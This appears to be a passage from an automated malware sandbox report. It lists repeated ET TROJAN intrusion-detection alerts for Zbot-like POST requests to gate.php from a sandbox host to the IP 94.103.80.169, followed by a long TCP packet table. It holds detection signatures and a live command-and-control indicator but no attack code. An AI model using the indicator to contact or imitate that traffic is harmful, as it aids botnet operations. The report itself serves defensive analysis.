08/15/21-08:41:58.659333	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.659333	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.659333	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.803101	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.803101	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.803101	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.973446	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.973446	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.973446	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.116455	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.116455	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.116455	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.253038	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.253038	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.253038	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.394589	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.394589	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.394589	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.535820	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.535820	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.535820	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.695440	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.695440	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.695440	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.850386	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.850386	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.850386	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.987882	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.987882	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:59.987882	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.131479	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.131479	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.131479	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.300186	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.300186	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.300186	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.445695	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.445695	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.445695	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.598429	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.598429	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.598429	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.739524	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.739524	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.739524	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.884321	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.884321	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:00.884321	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.039710	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.039710	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.039710	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.175895	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.175895	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.175895	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.318448	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.318448	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.318448	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.460005	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.460005	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.460005	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.600299	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.600299	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.600299	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.742037	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.742037	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.742037	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.879077	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.879077	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:01.879077	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.020961	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.020961	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.020961	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.161909	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.161909	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.161909	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.306512	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.306512	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.306512	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.457233	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.457233	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.457233	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.598859	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.598859	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.598859	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.738303	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.738303	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.738303	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.878494	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.878494	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:02.878494	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.019803	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.019803	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.019803	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.170156	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.170156	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.170156	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.316033	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.316033	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.316033	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.460972	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.460972	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49778	80	192.168.2.4	94.103.80.169
08/15/21-08:42:03.460972	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.4	94.103.80.169

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 15, 2021 08:40:05.855607033 CEST	49746	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:05.880291939 CEST	80	49746	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:05.880564928 CEST	49746	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:05.882749081 CEST	49746	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:05.907315969 CEST	80	49746	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:05.913623095 CEST	80	49746	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:05.913810015 CEST	49746	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:10.913232088 CEST	80	49746	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:10.913330078 CEST	49746	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:12.657146931 CEST	49746	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:27.876635075 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:27.903774023 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:27.903945923 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:27.904443979 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:27.928828955 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:27.930363894 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:27.930478096 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:27.938348055 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:27.967945099 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:27.968039036 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:27.973021030 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.000840902 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:28.000962973 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.121943951 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.151467085 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:28.151582956 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.261063099 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.289145947 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:28.289359093 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.401727915 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.430119991 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:28.431283951 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.542479038 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.570579052 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:28.570817947 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.683881998 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.711869955 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:28.712390900 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.823501110 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.853037119 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:28.855015039 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.964284897 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:28.992168903 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:28.994086027 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.105283022 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.133958101 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:29.134135008 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.245848894 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.274307013 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:29.274441957 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.386343002 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.413674116 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:29.413774014 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.527102947 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.556293964 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:29.556482077 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.667125940 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.695305109 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:29.696029902 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.813246012 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.841377974 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:29.842367887 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.950615883 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:29.980165005 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:29.980377913 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.089106083 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.117466927 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:30.117583990 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.230158091 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.257838964 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:30.257972002 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.371016026 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.398502111 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:30.398650885 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.511421919 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.542083979 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:30.542197943 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.651870012 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.681284904 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:30.681627989 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.793705940 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.822092056 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:30.822565079 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.933024883 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:30.961529970 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:30.961632013 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.073611975 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.104231119 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:31.104301929 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.216053963 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.243676901 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:31.243839025 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.355763912 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.383193016 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:31.383284092 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.497359991 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.527379036 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:31.528451920 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.659485102 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.687774897 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:31.688616991 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.935095072 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:31.963583946 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:31.964509964 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:32.095565081 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:32.124439001 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:32.124613047 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:32.251502991 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:32.279581070 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:32.280277967 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:32.392554045 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:32.424840927 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:32.425807953 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:32.892400026 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:32.920031071 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:32.920543909 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:33.079744101 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:33.108525038 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:33.108660936 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:33.231837034 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:33.260449886 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:33.260910988 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:34.286201954 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:34.316521883 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:34.316822052 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:34.452245951 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:34.480587006 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:34.480736017 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:34.590131998 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:34.618376970 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:34.618473053 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:34.731589079 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:34.761001110 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:34.761110067 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:34.871099949 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:34.898734093 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:34.898879051 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.011573076 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.039278984 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:35.039385080 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.152734995 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.180946112 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:35.181036949 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.294243097 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.321506977 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:35.321866989 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.436077118 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.464355946 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:35.464528084 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.574439049 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.603235006 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:35.603498936 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.717246056 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.745588064 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:35.746671915 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.855592966 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.883914948 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:35.885036945 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:35.996121883 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.025587082 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:36.025696039 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.136678934 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.167264938 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:36.167406082 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.277352095 CEST	49750	80	192.168.2.4	94.103.80.169
